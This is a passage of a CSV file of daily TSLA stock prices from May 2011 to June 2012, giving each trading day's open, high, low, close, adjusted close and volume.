-2011-05-03,27.3799991607666,27.389999389648438,26.5,26.8700008392334,26.8700008392334,913900,TSLA -2011-05-04,26.780000686645508,27.0,25.75,26.690000534057617,26.690000534057617,1044500,TSLA -2011-05-05,27.200000762939453,27.440000534057617,26.170000076293945,26.440000534057617,26.440000534057617,1218500,TSLA -2011-05-06,26.899999618530273,27.700000762939453,26.6200008392334,27.1200008392334,27.1200008392334,981700,TSLA -2011-05-09,27.0,28.0,26.850000381469727,27.90999984741211,27.90999984741211,916400,TSLA -2011-05-10,28.239999771118164,28.950000762939453,27.90999984741211,28.329999923706055,28.329999923706055,1535300,TSLA -2011-05-11,28.200000762939453,28.299999237060547,26.920000076293945,27.06999969482422,27.06999969482422,962500,TSLA -2011-05-12,27.06999969482422,27.739999771118164,26.649999618530273,27.670000076293945,27.670000076293945,628000,TSLA -2011-05-13,28.0,28.190000534057617,27.299999237060547,27.549999237060547,27.549999237060547,661500,TSLA -2011-05-16,27.989999771118164,27.989999771118164,26.549999237060547,26.600000381469727,26.600000381469727,755700,TSLA -2011-05-17,27.0,27.0,25.719999313354492,25.959999084472656,25.959999084472656,1234200,TSLA -2011-05-18,26.100000381469727,26.469999313354492,25.520000457763672,26.350000381469727,26.350000381469727,729500,TSLA -2011-05-19,27.030000686645508,28.440000534057617,26.600000381469727,28.200000762939453,28.200000762939453,2655100,TSLA -2011-05-20,28.260000228881836,28.280000686645508,27.350000381469727,27.969999313354492,27.969999313354492,842500,TSLA -2011-05-23,27.6200008392334,27.6200008392334,26.6200008392334,26.81999969482422,26.81999969482422,863600,TSLA -2011-05-24,27.020000457763672,27.5,26.600000381469727,26.719999313354492,26.719999313354492,613700,TSLA -2011-05-25,26.899999618530273,29.010000228881836,26.170000076293945,28.979999542236328,28.979999542236328,4693100,TSLA -2011-05-26,28.81999969482422,29.760000228881836,28.100000381469727,29.479999542236328,29.479999542236328,3336900,TSLA -2011-05-27,29.540000915527344,29.670000076293945,28.81999969482422,29.549999237060547,29.549999237060547,1687100,TSLA -2011-05-31,29.690000534057617,30.280000686645508,29.549999237060547,30.139999389648438,30.139999389648438,3290500,TSLA -2011-06-01,30.0,30.100000381469727,28.3799991607666,28.520000457763672,28.520000457763672,1529900,TSLA -2011-06-02,28.520000457763672,29.31999969482422,28.510000228881836,28.760000228881836,28.760000228881836,986300,TSLA -2011-06-03,29.950000762939453,31.5,29.5,30.1299991607666,30.1299991607666,6209200,TSLA -2011-06-06,30.100000381469727,30.1299991607666,28.260000228881836,28.700000762939453,28.700000762939453,2331100,TSLA -2011-06-07,28.940000534057617,29.389999389648438,28.260000228881836,28.3700008392334,28.3700008392334,1222100,TSLA -2011-06-08,28.440000534057617,28.600000381469727,27.020000457763672,27.1200008392334,27.1200008392334,1695900,TSLA -2011-06-09,27.43000030517578,28.100000381469727,27.100000381469727,27.6200008392334,27.6200008392334,1603200,TSLA -2011-06-10,27.520000457763672,28.299999237060547,27.350000381469727,27.860000610351562,27.860000610351562,1566600,TSLA -2011-06-13,28.06999969482422,28.8799991607666,27.8799991607666,28.43000030517578,28.43000030517578,1713400,TSLA -2011-06-14,28.540000915527344,29.700000762939453,28.520000457763672,28.600000381469727,28.600000381469727,1573400,TSLA -2011-06-15,28.440000534057617,28.450000762939453,27.06999969482422,27.31999969482422,27.31999969482422,1345000,TSLA -2011-06-16,27.670000076293945,28.0,25.739999771118164,26.5,26.5,1842200,TSLA -2011-06-17,26.8700008392334,27.700000762939453,26.139999389648438,26.5,26.5,1714000,TSLA -2011-06-20,26.290000915527344,26.459999084472656,25.5,26.010000228881836,26.010000228881836,1537800,TSLA -2011-06-21,26.239999771118164,27.729999542236328,26.0,27.530000686645508,27.530000686645508,1496000,TSLA -2011-06-22,27.3700008392334,28.25,27.100000381469727,27.209999084472656,27.209999084472656,1475600,TSLA -2011-06-23,27.200000762939453,27.719999313354492,26.209999084472656,27.709999084472656,27.709999084472656,1170000,TSLA -2011-06-24,27.639999389648438,27.969999313354492,27.260000228881836,27.56999969482422,27.56999969482422,3608500,TSLA -2011-06-27,27.729999542236328,28.280000686645508,27.309999465942383,27.459999084472656,27.459999084472656,1809400,TSLA -2011-06-28,27.790000915527344,28.25,27.670000076293945,28.110000610351562,28.110000610351562,889200,TSLA -2011-06-29,28.5,29.09000015258789,28.06999969482422,28.290000915527344,28.290000915527344,1461800,TSLA -2011-06-30,28.5,29.329999923706055,28.399999618530273,29.1299991607666,29.1299991607666,946700,TSLA -2011-07-01,29.06999969482422,29.600000381469727,28.799999237060547,29.020000457763672,29.020000457763672,854900,TSLA -2011-07-05,29.020000457763672,29.520000457763672,28.709999084472656,29.139999389648438,29.139999389648438,996000,TSLA -2011-07-06,29.139999389648438,29.139999389648438,28.549999237060547,28.959999084472656,28.959999084472656,926900,TSLA -2011-07-07,29.139999389648438,30.0,29.010000228881836,29.729999542236328,29.729999542236328,1327900,TSLA -2011-07-08,29.889999389648438,29.889999389648438,28.59000015258789,28.809999465942383,28.809999465942383,1240600,TSLA -2011-07-11,28.399999618530273,28.530000686645508,28.0,28.350000381469727,28.350000381469727,975800,TSLA -2011-07-12,28.3700008392334,29.09000015258789,28.0,28.170000076293945,28.170000076293945,1045400,TSLA -2011-07-13,28.43000030517578,29.030000686645508,27.899999618530273,28.639999389648438,28.639999389648438,1066000,TSLA -2011-07-14,28.530000686645508,28.959999084472656,27.25,27.610000610351562,27.610000610351562,1159000,TSLA -2011-07-15,27.790000915527344,27.829999923706055,27.399999618530273,27.579999923706055,27.579999923706055,709000,TSLA -2011-07-18,27.34000015258789,27.450000762939453,26.6299991607666,27.229999542236328,27.229999542236328,851900,TSLA -2011-07-19,27.579999923706055,28.110000610351562,27.540000915527344,27.889999389648438,27.889999389648438,1026100,TSLA -2011-07-20,28.0,30.440000534057617,27.799999237060547,28.690000534057617,28.690000534057617,3048300,TSLA -2011-07-21,28.90999984741211,29.15999984741211,28.100000381469727,28.700000762939453,28.700000762939453,1011500,TSLA -2011-07-22,28.700000762939453,29.540000915527344,28.549999237060547,29.290000915527344,29.290000915527344,583500,TSLA -2011-07-25,29.010000228881836,29.25,28.440000534057617,28.489999771118164,28.489999771118164,673300,TSLA -2011-07-26,28.309999465942383,28.770000457763672,27.969999313354492,28.0,28.0,760600,TSLA -2011-07-27,28.5,28.5,27.510000228881836,27.639999389648438,27.639999389648438,958500,TSLA -2011-07-28,27.600000381469727,28.549999237060547,27.540000915527344,28.170000076293945,28.170000076293945,938700,TSLA -2011-07-29,27.799999237060547,28.399999618530273,27.5,28.170000076293945,28.170000076293945,948200,TSLA -2011-08-01,28.670000076293945,28.979999542236328,28.209999084472656,28.770000457763672,28.770000457763672,1164900,TSLA -2011-08-02,28.690000534057617,29.200000762939453,27.270000457763672,27.34000015258789,27.34000015258789,1549400,TSLA -2011-08-03,27.5,27.829999923706055,26.34000015258789,27.200000762939453,27.200000762939453,1794500,TSLA -2011-08-04,26.510000228881836,26.889999389648438,24.670000076293945,24.75,24.75,3064500,TSLA -2011-08-05,24.989999771118164,25.3799991607666,22.829999923706055,24.239999771118164,24.239999771118164,1964400,TSLA -2011-08-08,23.100000381469727,24.440000534057617,23.100000381469727,23.639999389648438,23.639999389648438,2608500,TSLA -2011-08-09,24.149999618530273,25.450000762939453,23.700000762939453,25.059999465942383,25.059999465942383,1333400,TSLA -2011-08-10,25.440000534057617,25.440000534057617,23.6299991607666,23.81999969482422,23.81999969482422,1564200,TSLA -2011-08-11,24.040000915527344,25.75,24.0,25.299999237060547,25.299999237060547,836500,TSLA -2011-08-12,25.600000381469727,27.139999389648438,25.360000610351562,26.309999465942383,26.309999465942383,1009100,TSLA -2011-08-15,26.6200008392334,26.75,25.93000030517578,26.229999542236328,26.229999542236328,738600,TSLA -2011-08-16,26.1299991607666,26.540000915527344,25.829999923706055,26.100000381469727,26.100000381469727,537700,TSLA -2011-08-17,26.389999389648438,26.649999618530273,25.510000228881836,25.829999923706055,25.829999923706055,643700,TSLA -2011-08-18,25.0,25.149999618530273,23.469999313354492,24.260000228881836,24.260000228881836,1056600,TSLA -2011-08-19,23.860000610351562,24.219999313354492,22.0,22.299999237060547,22.299999237060547,1375300,TSLA -2011-08-22,23.110000610351562,23.799999237060547,21.68000030517578,21.950000762939453,21.950000762939453,986100,TSLA -2011-08-23,21.93000030517578,23.110000610351562,21.5,22.959999084472656,22.959999084472656,869000,TSLA -2011-08-24,23.100000381469727,23.93000030517578,22.829999923706055,23.8700008392334,23.8700008392334,684300,TSLA -2011-08-25,23.8700008392334,23.8700008392334,22.899999618530273,23.110000610351562,23.110000610351562,679800,TSLA -2011-08-26,22.709999084472656,23.950000762939453,22.06999969482422,23.729999542236328,23.729999542236328,761800,TSLA -2011-08-29,24.219999313354492,24.850000381469727,24.020000457763672,24.709999084472656,24.709999084472656,803400,TSLA -2011-08-30,24.5,24.770000457763672,24.09000015258789,24.6299991607666,24.6299991607666,366200,TSLA -2011-08-31,24.799999237060547,25.5,24.280000686645508,24.739999771118164,24.739999771118164,823800,TSLA -2011-09-01,24.65999984741211,24.8700008392334,23.84000015258789,24.0,24.0,848100,TSLA -2011-09-02,23.65999984741211,23.989999771118164,22.68000030517578,23.06999969482422,23.06999969482422,769900,TSLA -2011-09-06,22.5,23.200000762939453,22.290000915527344,22.940000534057617,22.940000534057617,809800,TSLA -2011-09-07,23.389999389648438,24.0,23.280000686645508,23.84000015258789,23.84000015258789,459200,TSLA -2011-09-08,23.579999923706055,24.030000686645508,23.280000686645508,23.610000610351562,23.610000610351562,505700,TSLA -2011-09-09,23.3700008392334,23.56999969482422,22.549999237060547,22.969999313354492,22.969999313354492,669300,TSLA -2011-09-12,22.5,23.309999465942383,22.450000762939453,22.8799991607666,22.8799991607666,566600,TSLA -2011-09-13,23.010000228881836,24.100000381469727,22.75,24.079999923706055,24.079999923706055,726500,TSLA -2011-09-14,24.25,24.84000015258789,23.790000915527344,24.34000015258789,24.34000015258789,830800,TSLA -2011-09-15,24.579999923706055,24.93000030517578,24.329999923706055,24.81999969482422,24.81999969482422,562600,TSLA -2011-09-16,24.780000686645508,25.84000015258789,24.489999771118164,25.799999237060547,25.799999237060547,1417100,TSLA -2011-09-19,24.950000762939453,25.809999465942383,23.81999969482422,25.770000457763672,25.770000457763672,1157400,TSLA -2011-09-20,25.979999542236328,26.600000381469727,25.670000076293945,26.010000228881836,26.010000228881836,1180400,TSLA -2011-09-21,25.950000762939453,26.950000762939453,25.700000762939453,25.850000381469727,25.850000381469727,987600,TSLA -2011-09-22,25.639999389648438,26.110000610351562,24.8799991607666,25.6299991607666,25.6299991607666,775800,TSLA -2011-09-23,25.489999771118164,26.6200008392334,25.350000381469727,26.3799991607666,26.3799991607666,1156400,TSLA -2011-09-26,26.520000457763672,26.520000457763672,24.899999618530273,25.520000457763672,25.520000457763672,934800,TSLA -2011-09-27,26.0,26.989999771118164,25.56999969482422,26.190000534057617,26.190000534057617,674500,TSLA -2011-09-28,26.0,26.5,24.510000228881836,24.59000015258789,24.59000015258789,723300,TSLA -2011-09-29,25.719999313354492,25.81999969482422,23.549999237060547,24.1200008392334,24.1200008392334,929600,TSLA -2011-09-30,24.799999237060547,24.889999389648438,23.489999771118164,24.389999389648438,24.389999389648438,1336100,TSLA -2011-10-03,24.950000762939453,25.0,23.25,23.729999542236328,23.729999542236328,1023200,TSLA -2011-10-04,23.290000915527344,24.31999969482422,22.93000030517578,23.65999984741211,23.65999984741211,1200300,TSLA -2011-10-05,24.030000686645508,25.84000015258789,23.350000381469727,25.3700008392334,25.3700008392334,1229500,TSLA -2011-10-06,25.3700008392334,27.600000381469727,25.020000457763672,26.959999084472656,26.959999084472656,1769100,TSLA -2011-10-07,26.979999542236328,27.600000381469727,26.049999237060547,26.989999771118164,26.989999771118164,1311600,TSLA -2011-10-10,27.309999465942383,28.18000030517578,27.0,27.8799991607666,27.8799991607666,923500,TSLA -2011-10-11,27.510000228881836,27.770000457763672,27.09000015258789,27.610000610351562,27.610000610351562,575700,TSLA -2011-10-12,27.25,28.0,27.200000762939453,27.799999237060547,27.799999237060547,1123400,TSLA -2011-10-13,27.6299991607666,28.469999313354492,27.440000534057617,27.940000534057617,27.940000534057617,1043500,TSLA -2011-10-14,28.0,28.549999237060547,27.260000228881836,28.049999237060547,28.049999237060547,1400500,TSLA -2011-10-17,27.860000610351562,28.0,27.260000228881836,27.420000076293945,27.420000076293945,754500,TSLA -2011-10-18,27.299999237060547,28.43000030517578,26.709999084472656,28.34000015258789,28.34000015258789,999700,TSLA -2011-10-19,28.020000457763672,28.059999465942383,27.299999237060547,27.56999969482422,27.56999969482422,792900,TSLA -2011-10-20,27.440000534057617,27.469999313354492,27.0,27.34000015258789,27.34000015258789,999700,TSLA -2011-10-21,27.399999618530273,28.299999237060547,27.010000228881836,28.030000686645508,28.030000686645508,1142600,TSLA -2011-10-24,27.8700008392334,28.889999389648438,27.75,28.549999237060547,28.549999237060547,940600,TSLA -2011-10-25,28.229999542236328,28.860000610351562,27.799999237060547,28.25,28.25,654400,TSLA -2011-10-26,28.190000534057617,28.3700008392334,27.399999618530273,27.979999542236328,27.979999542236328,510500,TSLA -2011-10-27,28.34000015258789,28.950000762939453,28.110000610351562,28.760000228881836,28.760000228881836,869400,TSLA -2011-10-28,28.5,30.0,28.010000228881836,29.8700008392334,29.8700008392334,1264000,TSLA -2011-10-31,29.5,29.510000228881836,28.75,29.3700008392334,29.3700008392334,1134000,TSLA -2011-11-01,28.389999389648438,28.920000076293945,28.0,28.8799991607666,28.8799991607666,635200,TSLA -2011-11-02,29.0,29.260000228881836,28.25,28.709999084472656,28.709999084472656,875300,TSLA -2011-11-03,30.0,32.4900016784668,29.530000686645508,32.459999084472656,32.459999084472656,2509700,TSLA -2011-11-04,31.459999084472656,32.400001525878906,30.510000228881836,32.310001373291016,32.310001373291016,3032900,TSLA -2011-11-07,31.639999389648438,32.0,30.75,31.270000457763672,31.270000457763672,1266300,TSLA -2011-11-08,31.3700008392334,32.0,30.719999313354492,31.84000015258789,31.84000015258789,1167900,TSLA -2011-11-09,30.8700008392334,31.489999771118164,30.299999237060547,30.8799991607666,30.8799991607666,953700,TSLA -2011-11-10,30.940000534057617,31.5,30.649999618530273,31.329999923706055,31.329999923706055,747300,TSLA -2011-11-11,31.899999618530273,34.5,30.56999969482422,33.63999938964844,33.63999938964844,3868300,TSLA -2011-11-14,33.0,33.540000915527344,32.619998931884766,33.220001220703125,33.220001220703125,1325700,TSLA -2011-11-15,32.91999816894531,34.400001525878906,32.72999954223633,33.93000030517578,33.93000030517578,891000,TSLA -2011-11-16,33.47999954223633,35.0,33.400001525878906,34.939998626708984,34.939998626708984,1833200,TSLA -2011-11-17,34.5,34.900001525878906,33.189998626708984,33.68000030517578,33.68000030517578,1349300,TSLA -2011-11-18,33.63999938964844,34.11000061035156,32.540000915527344,32.599998474121094,32.599998474121094,902800,TSLA -2011-11-21,32.439998626708984,32.439998626708984,31.049999237060547,31.760000228881836,31.760000228881836,1031600,TSLA -2011-11-22,31.760000228881836,32.790000915527344,31.049999237060547,32.06999969482422,32.06999969482422,732600,TSLA -2011-11-23,31.760000228881836,32.04999923706055,31.25,31.450000762939453,31.450000762939453,451800,TSLA -2011-11-25,31.549999237060547,32.40999984741211,31.079999923706055,31.65999984741211,31.65999984741211,239600,TSLA -2011-11-28,32.0,33.279998779296875,31.809999465942383,32.560001373291016,32.560001373291016,681200,TSLA -2011-11-29,32.4900016784668,33.06999969482422,31.6299991607666,31.75,31.75,591100,TSLA -2011-11-30,32.5,32.93000030517578,32.220001220703125,32.7400016784668,32.7400016784668,760300,TSLA -2011-12-01,32.56999969482422,33.9900016784668,31.979999542236328,32.599998474121094,32.599998474121094,1030200,TSLA -2011-12-02,32.83000183105469,33.689998626708984,32.400001525878906,33.29999923706055,33.29999923706055,802800,TSLA -2011-12-05,33.529998779296875,35.0,33.43000030517578,34.41999816894531,34.41999816894531,1160100,TSLA -2011-12-06,34.20000076293945,34.97999954223633,34.029998779296875,34.869998931884766,34.869998931884766,951800,TSLA -2011-12-07,34.630001068115234,34.88999938964844,33.79999923706055,34.189998626708984,34.189998626708984,674300,TSLA -2011-12-08,30.84000015258789,31.649999618530273,29.610000610351562,30.889999389648438,30.889999389648438,3305800,TSLA -2011-12-09,30.540000915527344,31.1200008392334,30.280000686645508,31.040000915527344,31.040000915527344,1239500,TSLA -2011-12-12,30.440000534057617,30.6200008392334,30.020000457763672,30.40999984741211,30.40999984741211,758700,TSLA -2011-12-13,30.56999969482422,30.93000030517578,28.90999984741211,29.450000762939453,29.450000762939453,994100,TSLA -2011-12-14,29.5,29.68000030517578,28.0,28.530000686645508,28.530000686645508,1163900,TSLA -2011-12-15,28.670000076293945,29.170000076293945,28.1200008392334,28.6200008392334,28.6200008392334,700300,TSLA -2011-12-16,28.790000915527344,28.93000030517578,27.979999542236328,28.0,28.0,1029700,TSLA -2011-12-19,28.09000015258789,28.5,27.3700008392334,27.75,27.75,987000,TSLA -2011-12-20,28.049999237060547,28.450000762939453,27.719999313354492,27.899999618530273,27.899999618530273,843300,TSLA -2011-12-21,27.90999984741211,28.06999969482422,26.030000686645508,27.56999969482422,27.56999969482422,1705500,TSLA -2011-12-22,27.600000381469727,28.049999237060547,27.299999237060547,27.770000457763672,27.770000457763672,1009400,TSLA -2011-12-23,28.0,28.0,27.520000457763672,27.899999618530273,27.899999618530273,591400,TSLA -2011-12-27,27.65999984741211,28.770000457763672,27.639999389648438,28.56999969482422,28.56999969482422,777500,TSLA -2011-12-28,28.989999771118164,29.239999771118164,28.040000915527344,28.510000228881836,28.510000228881836,575200,TSLA -2011-12-29,28.59000015258789,29.34000015258789,28.549999237060547,28.729999542236328,28.729999542236328,488200,TSLA -2011-12-30,28.489999771118164,28.979999542236328,28.25,28.559999465942383,28.559999465942383,339800,TSLA -2012-01-03,28.940000534057617,29.5,27.649999618530273,28.079999923706055,28.079999923706055,928100,TSLA -2012-01-04,28.209999084472656,28.670000076293945,27.5,27.709999084472656,27.709999084472656,630100,TSLA -2012-01-05,27.760000228881836,27.93000030517578,26.850000381469727,27.1200008392334,27.1200008392334,1005500,TSLA -2012-01-06,27.200000762939453,27.790000915527344,26.40999984741211,26.90999984741211,26.90999984741211,986300,TSLA -2012-01-09,27.0,27.489999771118164,26.1200008392334,27.25,27.25,897000,TSLA -2012-01-10,27.440000534057617,27.760000228881836,27.25,27.6200008392334,27.6200008392334,671800,TSLA -2012-01-11,27.6200008392334,28.3799991607666,27.299999237060547,28.229999542236328,28.229999542236328,672300,TSLA -2012-01-12,28.479999542236328,28.6200008392334,27.809999465942383,28.25,28.25,729300,TSLA -2012-01-13,28.399999618530273,28.5,22.639999389648438,22.790000915527344,22.790000915527344,5500400,TSLA -2012-01-17,26.6200008392334,27.34000015258789,26.40999984741211,26.600000381469727,26.600000381469727,4651600,TSLA -2012-01-18,26.690000534057617,26.8799991607666,26.25,26.809999465942383,26.809999465942383,1260200,TSLA -2012-01-19,27.190000534057617,27.739999771118164,26.610000610351562,26.760000228881836,26.760000228881836,1246300,TSLA -2012-01-20,26.899999618530273,27.0,26.399999618530273,26.600000381469727,26.600000381469727,662300,TSLA -2012-01-23,26.809999465942383,27.209999084472656,26.600000381469727,26.770000457763672,26.770000457763672,594600,TSLA -2012-01-24,26.6299991607666,27.68000030517578,26.440000534057617,27.420000076293945,27.420000076293945,858000,TSLA -2012-01-25,27.270000457763672,28.010000228881836,27.049999237060547,27.969999313354492,27.969999313354492,611200,TSLA -2012-01-26,28.06999969482422,29.579999923706055,28.0,28.940000534057617,28.940000534057617,1271100,TSLA -2012-01-27,28.5,29.719999313354492,28.5,29.329999923706055,29.329999923706055,748400,TSLA -2012-01-30,29.489999771118164,29.610000610351562,28.530000686645508,29.56999969482422,29.56999969482422,729000,TSLA -2012-01-31,29.899999618530273,30.0,28.8700008392334,29.06999969482422,29.06999969482422,956400,TSLA -2012-02-01,29.06999969482422,29.700000762939453,29.0,29.579999923706055,29.579999923706055,523200,TSLA -2012-02-02,29.719999313354492,30.8799991607666,29.610000610351562,30.25,30.25,805700,TSLA -2012-02-03,30.40999984741211,31.329999923706055,30.25,31.149999618530273,31.149999618530273,764500,TSLA -2012-02-06,31.100000381469727,31.899999618530273,31.049999237060547,31.799999237060547,31.799999237060547,652100,TSLA -2012-02-07,31.799999237060547,31.799999237060547,30.81999969482422,31.600000381469727,31.600000381469727,1021600,TSLA -2012-02-08,31.600000381469727,32.0099983215332,31.290000915527344,31.93000030517578,31.93000030517578,623700,TSLA -2012-02-09,32.0,32.900001525878906,31.43000030517578,32.58000183105469,32.58000183105469,1277100,TSLA -2012-02-10,32.2599983215332,32.27000045776367,29.84000015258789,31.100000381469727,31.100000381469727,1874200,TSLA -2012-02-13,31.549999237060547,32.060001373291016,30.899999618530273,31.489999771118164,31.489999771118164,1157900,TSLA -2012-02-14,31.739999771118164,33.790000915527344,31.399999618530273,33.16999816894531,33.16999816894531,1810800,TSLA -2012-02-15,33.099998474121094,34.40999984741211,32.27000045776367,33.599998474121094,33.599998474121094,2761800,TSLA -2012-02-16,33.5,34.5099983215332,32.540000915527344,34.18000030517578,34.18000030517578,2219700,TSLA -2012-02-17,33.9900016784668,34.970001220703125,33.5,34.970001220703125,34.970001220703125,1376700,TSLA -2012-02-21,34.869998931884766,34.869998931884766,33.810001373291016,34.5,34.5,1135800,TSLA -2012-02-22,34.5,34.720001220703125,32.5,34.220001220703125,34.220001220703125,1654600,TSLA -2012-02-23,33.9900016784668,34.970001220703125,33.560001373291016,34.529998779296875,34.529998779296875,820400,TSLA -2012-02-24,34.22999954223633,34.52000045776367,33.27000045776367,33.75,33.75,959900,TSLA -2012-02-27,33.40999984741211,34.0,33.0,33.619998931884766,33.619998931884766,606000,TSLA -2012-02-28,33.63999938964844,34.439998626708984,33.16999816894531,33.810001373291016,33.810001373291016,612200,TSLA -2012-02-29,33.810001373291016,34.119998931884766,33.13999938964844,33.40999984741211,33.40999984741211,535700,TSLA -2012-03-01,33.5099983215332,34.5,33.310001373291016,34.40999984741211,34.40999984741211,703500,TSLA -2012-03-02,34.400001525878906,34.5,33.709999084472656,34.040000915527344,34.040000915527344,550000,TSLA -2012-03-05,34.349998474121094,34.400001525878906,33.459999084472656,33.77000045776367,33.77000045776367,467000,TSLA -2012-03-06,33.25,33.279998779296875,32.619998931884766,33.11000061035156,33.11000061035156,573800,TSLA -2012-03-07,33.119998931884766,33.310001373291016,32.90999984741211,33.119998931884766,33.119998931884766,364900,TSLA -2012-03-08,33.11000061035156,33.4900016784668,33.040000915527344,33.06999969482422,33.06999969482422,633300,TSLA -2012-03-09,33.20000076293945,35.310001373291016,33.20000076293945,34.7400016784668,34.7400016784668,1553400,TSLA -2012-03-12,34.689998626708984,36.290000915527344,34.599998474121094,36.0099983215332,36.0099983215332,1963300,TSLA -2012-03-13,36.5099983215332,36.59000015258789,35.5,36.09000015258789,36.09000015258789,1001600,TSLA -2012-03-14,36.0,36.0,34.79999923706055,35.290000915527344,35.290000915527344,851500,TSLA -2012-03-15,35.279998779296875,35.47999954223633,34.779998779296875,35.0,35.0,571600,TSLA -2012-03-16,34.900001525878906,35.88999938964844,34.83000183105469,35.31999969482422,35.31999969482422,729300,TSLA -2012-03-19,35.2599983215332,35.31999969482422,34.540000915527344,34.97999954223633,34.97999954223633,1015600,TSLA -2012-03-20,34.97999954223633,35.20000076293945,34.56999969482422,34.959999084472656,34.959999084472656,567000,TSLA -2012-03-21,34.939998626708984,35.29999923706055,34.599998474121094,35.150001525878906,35.150001525878906,607200,TSLA -2012-03-22,34.970001220703125,35.150001525878906,34.29999923706055,34.400001525878906,34.400001525878906,522400,TSLA -2012-03-23,34.2599983215332,34.630001068115234,33.150001525878906,34.08000183105469,34.08000183105469,1170600,TSLA -2012-03-26,35.59000015258789,38.09000015258789,35.040000915527344,37.400001525878906,37.400001525878906,3140500,TSLA -2012-03-27,37.15999984741211,39.95000076293945,37.029998779296875,37.939998626708984,37.939998626708984,2539200,TSLA -2012-03-28,37.779998779296875,38.439998626708984,37.11000061035156,37.849998474121094,37.849998474121094,955000,TSLA -2012-03-29,38.189998626708984,38.189998626708984,37.029998779296875,37.33000183105469,37.33000183105469,796400,TSLA -2012-03-30,37.52000045776367,37.939998626708984,36.68000030517578,37.2400016784668,37.2400016784668,886400,TSLA -2012-04-02,37.33000183105469,37.970001220703125,36.529998779296875,36.58000183105469,36.58000183105469,1028600,TSLA -2012-04-03,36.70000076293945,38.470001220703125,36.66999816894531,38.0099983215332,38.0099983215332,1098100,TSLA -2012-04-04,35.27000045776367,35.4900016784668,34.689998626708984,35.0,35.0,4481800,TSLA -2012-04-05,35.099998474121094,35.439998626708984,34.40999984741211,34.47999954223633,34.47999954223633,1509400,TSLA -2012-04-09,34.099998474121094,34.290000915527344,33.099998474121094,33.150001525878906,33.150001525878906,1655700,TSLA -2012-04-10,33.150001525878906,33.849998474121094,32.099998474121094,32.459999084472656,32.459999084472656,1847700,TSLA -2012-04-11,33.2400016784668,33.290000915527344,32.0099983215332,33.09000015258789,33.09000015258789,1105500,TSLA -2012-04-12,33.77000045776367,34.47999954223633,32.91999816894531,33.439998626708984,33.439998626708984,1033900,TSLA -2012-04-13,33.939998626708984,34.040000915527344,32.849998474121094,33.59000015258789,33.59000015258789,649600,TSLA -2012-04-16,33.40999984741211,33.70000076293945,32.09000015258789,32.25,32.25,1099600,TSLA -2012-04-17,32.43000030517578,33.06999969482422,32.040000915527344,32.2400016784668,32.2400016784668,1115500,TSLA -2012-04-18,32.09000015258789,32.75,31.530000686645508,32.65999984741211,32.65999984741211,823100,TSLA -2012-04-19,32.75,33.43000030517578,32.5,33.15999984741211,33.15999984741211,774900,TSLA -2012-04-20,33.13999938964844,33.72999954223633,32.939998626708984,33.15999984741211,33.15999984741211,821800,TSLA -2012-04-23,32.86000061035156,32.970001220703125,31.709999084472656,31.940000534057617,31.940000534057617,890800,TSLA -2012-04-24,31.81999969482422,32.20000076293945,31.0,31.81999969482422,31.81999969482422,674500,TSLA -2012-04-25,32.06999969482422,32.9900016784668,32.06999969482422,32.90999984741211,32.90999984741211,712200,TSLA -2012-04-26,32.959999084472656,33.52000045776367,32.90999984741211,33.4900016784668,33.4900016784668,425300,TSLA -2012-04-27,33.599998474121094,33.630001068115234,32.90999984741211,33.34000015258789,33.34000015258789,591000,TSLA -2012-04-30,33.27000045776367,33.36000061035156,32.58000183105469,33.130001068115234,33.130001068115234,413900,TSLA -2012-05-01,33.130001068115234,34.209999084472656,33.130001068115234,33.779998779296875,33.779998779296875,659000,TSLA -2012-05-02,33.5,34.38999938964844,33.38999938964844,33.939998626708984,33.939998626708984,497300,TSLA -2012-05-03,33.90999984741211,34.0,32.130001068115234,32.459999084472656,32.459999084472656,841300,TSLA -2012-05-04,32.31999969482422,32.459999084472656,31.399999618530273,31.829999923706055,31.829999923706055,1247500,TSLA -2012-05-07,31.959999084472656,32.58000183105469,31.610000610351562,32.470001220703125,32.470001220703125,1158000,TSLA -2012-05-08,32.5,32.72999954223633,29.3700008392334,30.190000534057617,30.190000534057617,3097200,TSLA -2012-05-09,30.299999237060547,30.770000457763672,29.760000228881836,30.059999465942383,30.059999465942383,1947900,TSLA -2012-05-10,32.970001220703125,34.68000030517578,32.400001525878906,32.959999084472656,32.959999084472656,5556300,TSLA -2012-05-11,32.4900016784668,33.439998626708984,32.15999984741211,32.25,32.25,1221300,TSLA -2012-05-14,31.920000076293945,32.130001068115234,30.049999237060547,30.059999465942383,30.059999465942383,1380900,TSLA -2012-05-15,30.260000228881836,30.959999084472656,29.219999313354492,29.43000030517578,29.43000030517578,1585700,TSLA -2012-05-16,29.579999923706055,30.18000030517578,28.8799991607666,29.18000030517578,29.18000030517578,1257100,TSLA -2012-05-17,29.299999237060547,29.790000915527344,28.239999771118164,28.56999969482422,28.56999969482422,1149000,TSLA -2012-05-18,28.3700008392334,28.459999084472656,26.829999923706055,27.559999465942383,27.559999465942383,1616500,TSLA -2012-05-21,27.579999923706055,29.260000228881836,27.1200008392334,28.770000457763672,28.770000457763672,1475200,TSLA -2012-05-22,30.100000381469727,31.34000015258789,30.0,30.799999237060547,30.799999237060547,2366200,TSLA -2012-05-23,30.559999465942383,31.049999237060547,29.5,31.020000457763672,31.020000457763672,1220400,TSLA -2012-05-24,31.25,31.25,29.690000534057617,30.280000686645508,30.280000686645508,1075600,TSLA -2012-05-25,30.15999984741211,30.40999984741211,29.200000762939453,29.809999465942383,29.809999465942383,757000,TSLA -2012-05-29,30.010000228881836,31.93000030517578,30.010000228881836,31.690000534057617,31.690000534057617,1650000,TSLA -2012-05-30,31.079999923706055,31.420000076293945,30.239999771118164,30.40999984741211,30.40999984741211,1307200,TSLA -2012-05-31,30.06999969482422,30.290000915527344,28.75,29.5,29.5,1118700,TSLA -2012-06-01,28.530000686645508,29.15999984741211,27.760000228881836,28.149999618530273,28.149999618530273,885800,TSLA -2012-06-04,28.030000686645508,28.40999984741211,27.110000610351562,27.8799991607666,27.8799991607666,1030900,TSLA -2012-06-05,27.84000015258789,28.389999389648438,27.559999465942383,27.90999984741211,27.90999984741211,630900,TSLA -2012-06-06,28.200000762939453,29.450000762939453,28.139999389648438,29.219999313354492,29.219999313354492,909900,TSLA -2012-06-07,29.809999465942383,29.8700008392334,28.850000381469727,28.93000030517578,28.93000030517578,492100,TSLA -2012-06-08,28.860000610351562,30.190000534057617,28.149999618530273,30.079999923706055,30.079999923706055,881100,TSLA -2012-06-11,30.309999465942383,31.0,28.959999084472656,29.1200008392334,29.1200008392334,636000,TSLA -2012-06-12,29.229999542236328,29.84000015258789,28.809999465942383,29.65999984741211,29.65999984741211,569000,TSLA 